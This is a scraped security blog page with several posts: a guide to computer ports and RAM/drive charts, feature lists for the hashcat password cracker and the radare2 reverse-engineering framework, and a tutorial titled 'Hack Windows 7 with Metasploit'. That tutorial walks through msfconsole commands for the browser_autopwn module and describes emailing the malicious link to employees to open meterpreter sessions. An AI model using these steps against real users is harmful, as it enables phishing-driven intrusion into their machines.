Showing posts with label metasploit. Show all posts
Showing posts with label metasploit. Show all posts

Wednesday, June 7, 2017

Computer Ports – Name and Location Of Connections On Computer

For those of you who do not know what the connectors or connections on the back of your computer are called or where they are located… We have created a number of Computer Port Charts and other computer peripheral charts to help you identify the common connectors and ports on the back of your desktop computer or laptop. The charts include location for sound, audio, video, usb, serial and parallel ports. Included are separate charts forhard drivesdesktop ram memorylaptop ram memory and a chart that explains everything on the back of your computer by name, location and illustration.
Computer ports are connecting points or interfaces with peripheral devices that work to communicate with your computer.
computer-ports-identification-chart

Computer Ports Identification Chart

Most Common PHYSICAL computer ports:
– USB Port (Universal Serial Bus): Created in the mid 1990’s to standardize communications between computers and peripheral devices. USB ports can be used as a power supply for different devices like cellphones, cameras, laptop coolers and more. There are four different types of USB computer ports: USB 1.0 and 1.1 released between 1996 and 1998 with a speed range starting from 1.5 Mb/sec up to 12 Mb/sec. Then USB 2.0 was released in 2000 with a maximum speed of 480 Mb/sec. Finally USB 3.0 was released in 2008 with a maximum speed of 5 Gb/sec.
– Ethernet / Internet Ports: were first introduced in 1980 to standardize the local area networks (LAN). Internet ports use RJ45 connectors and have speeds between 10 Mb/sec – 100 Mb/sec – 1 Gb/sec – 40 Gb/sec – 100 Gb/sec.
– IEEE 1394 Ports: This technology was developed by Apple between 1980 and 1990 with the name “FireWire” and it is the equivalent of the USB.
– TRS Ports: Used for receiving and transmitting analog signals mainly audio.
– PS/2 Ports: Introduced in 1987 to replace the serial mouse and keyboard.
– Serial Port: Uses the DB9 socket connector and transfers information one bit at a time between the computer and external peripherals.
– VGA ports (Video Graphics Array): This port has 15 pins on three rows and it is used for connecting the monitor with the video adapter from the computer motherboard to display video on your monitor.
– HDMI (High Definition Multimedia Interface): Ports on computer to transmit High Definition (1080p+) Video from the computer video card to the monitor.
– DVI (Digital Visual Interface): Computer ports used to transmit uncompressed digital video data.
computer-port-chart

Common Computer Ports Chart

desktop-ram-chart

Desktop Ram Identification Chart

hard-drive-chart

Hard Drive Identification Chart

notebook-ram-chart

Notebook RAM Memory Identification Chart


back-of-computer-port-chart

Back of Computer Port Identification Illustration

Share:

hashcat – Multi-Threaded Password Hash Cracking Tool

10834792876_098c17098b
hashcat claims to be the world’s fastest CPU-based password recovery tool, while not as fast as GPU powered hash brute forcing (like CUDA-Multiforcer), it is still pretty fast.
hashcat was written somewhere in the middle of 2009. Yes, there were already close-to-perfect working tools supporting rule-based attacks like “PasswordsPro”, “John The Ripper”. However for some unknown reason, both of them did not support multi-threading. That was the only reason to write hashcat: To make use of the multiple cores of modern CPUs.
Granted, that was not 100% correct. John the Ripper already supported MPI using a patch, but at that time it worked only for Brute-Force attack. There was no solution available to crack plain MD5 which supports MPI using rule-based attacks.
Hashcat, from its first version, v0.01, was called “atomcrack”. This version was very poor, but at least the MD5 kernel was written in assembler utilizing SSE2 instructions and of course it was multi-threaded. It was a simple dictionary cracker, nothing more. But it was fast. Really fast. Some guys from the scene become interested in it and after one week there were around 10 beta testers. Everything worked fine and so requests for more algorithm types, a rule-engine for mutation of dictionaries, a windows version and different attack modes were added. These developments took around half a year, and were completely non-public.

Features
  • Multi-Threaded
  • Multi-Hash (up to 24 million hashes)
  • Multi-OS (Linux, Windows and OSX native binaries)
  • Multi-Algo (MD4, MD5, SHA1, DCC, NTLM, MySQL, …)
  • SSE2, AVX and XOP accelerated
  • All Attack-Modes except Brute-Force and Permutation can be extended by rules
  • Very fast Rule-engine
  • Rules compatible with JTR and PasswordsPro
  • Possible to resume or limit session
  • Automatically recognizes recovered hashes from outfile at startup
  • Can automatically generate random rules
  • Load saltlist from external file and then use them in a Brute-Force Attack variant
  • Able to work in an distributed environment
  • Specify multiple wordlists or multiple directories of wordlists
  • Number of threads can be configured
  • Threads run on lowest priority
  • Supports hex-charset
  • Supports hex-salt
  • 80+ Algorithms implemented with performance in mind

DOWNLOAD LINK:
Share:

Radare – The Reverse Engineering Framework

Radare started out as a simple command line interface for a hexadecimal editor supporting 64 bit offsets to make searches and recovering data from hard-disks. It has evolved into a project that is composed of a hexadecimal editor as the central point of the project with assembler/disassembler, code analysis, scripting features, analysis and graphs of code and data and easy unix integration. Essentially, it has become a reverse engineering framework, with plugins and much more.
radare2 itself is the core of the hexadecimal editor and debugger. Allows to open any kind of file from different IO access like disk, network, kernel plugins, remote devices, debugged processes and handle any of them as if they were a simple plain file.
It implements an advanced command line interface for moving around the file, analyzing data, disassembling, binary patching, data comparision, searching, replacing, scripting with Ruby, Python, Lua and Perl.

Features
  • CLI and visual modes
  • Yank and paste
  • Perl/Python scripting support
  • Virtual base address for on-disk patching
  • vi-like environment and command repetition (3x)
  • Debugger for x86-linux/bsd and arm-linux
  • Data bookmarking (flags)
  • Scripting (no branches or conditionals yet)
  • Own magic database (rfile)
  • Little/big endian conversions
  • Data search
  • Show xrefs on arm, x86 and ppc binaries
  • Data type views
  • Data block views
  • Visual mode commands

DOWNLOAD LINK:
radare2-0.9.7.tar.xz
Share:

Monday, August 29, 2016

Hack Windows 7 with Metasploit

What is Metasploit?

Metasploit is a framework which is used for the hacking of different kinds of applications, operating systems, web applications etc. Metasploit contains various exploits, scanners, payloads, modules, auxiliaires, vulnerability assessments etc.
Requirements:-
 VULNERABILITY
 EXPLOIT
 PAYLOAD
Vulnerability is a weakness or hole of the system through which an attacker enters into the machine.
Exploit is a program or code which takes the advantage of the vulnerability to break the security of system.
Payload is a program which gives control of the system.
Step 1 –
Power on your Backtrack Operating System with
Username=root and Password=toor (By Default)
After login to this, Type “startx” for entering into GUI Mode.
Step 2 –
Now For Hacking Windows, You have to Start Metasploit Framework.
So Open your terminal and type this command,

root@bt:~# msfconsole






 Step 3 –
Now For hacking windows 7, we use this exploit named as browser Autopwn
root@bt:~# use auxiliary/server/browser_autopwn
The basic idea behind this module is that it creates a web server in our local machine which will contain different kind of browser exploits.
When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open.







Step 4 –
Now Type “show options” to check all options related to this exploit




Step 5 –
Now Set your local host IP by typing this command,
root@bt:~# set LHSOT 192.168.17.133



To set Port, type this command,
root@bt:~# set SRVPORT 80


In order to prevent Metasploit to set up random URL’s, we use URIPATH
root@bt:~# set URIPATH /


Step 6 –
Now type “exploits” command
After the execution of this module we will notice that different exploits for a variety of browsers will start loading to our web server.




Now we can share the link through our email to our client employees.
Step 7 –
If any user opens the malicious link, the Autopwn module will try all these exploits in order to see if it can break into the client.
If the browser is vulnerable to any of these exploits meterpreter sessions will open.
To check all sessions, type this command,
root@bt:~# sessions -i


Step 8 –
To Open First Session, type this command
root@bt:~# sessions –i 1

Share:

as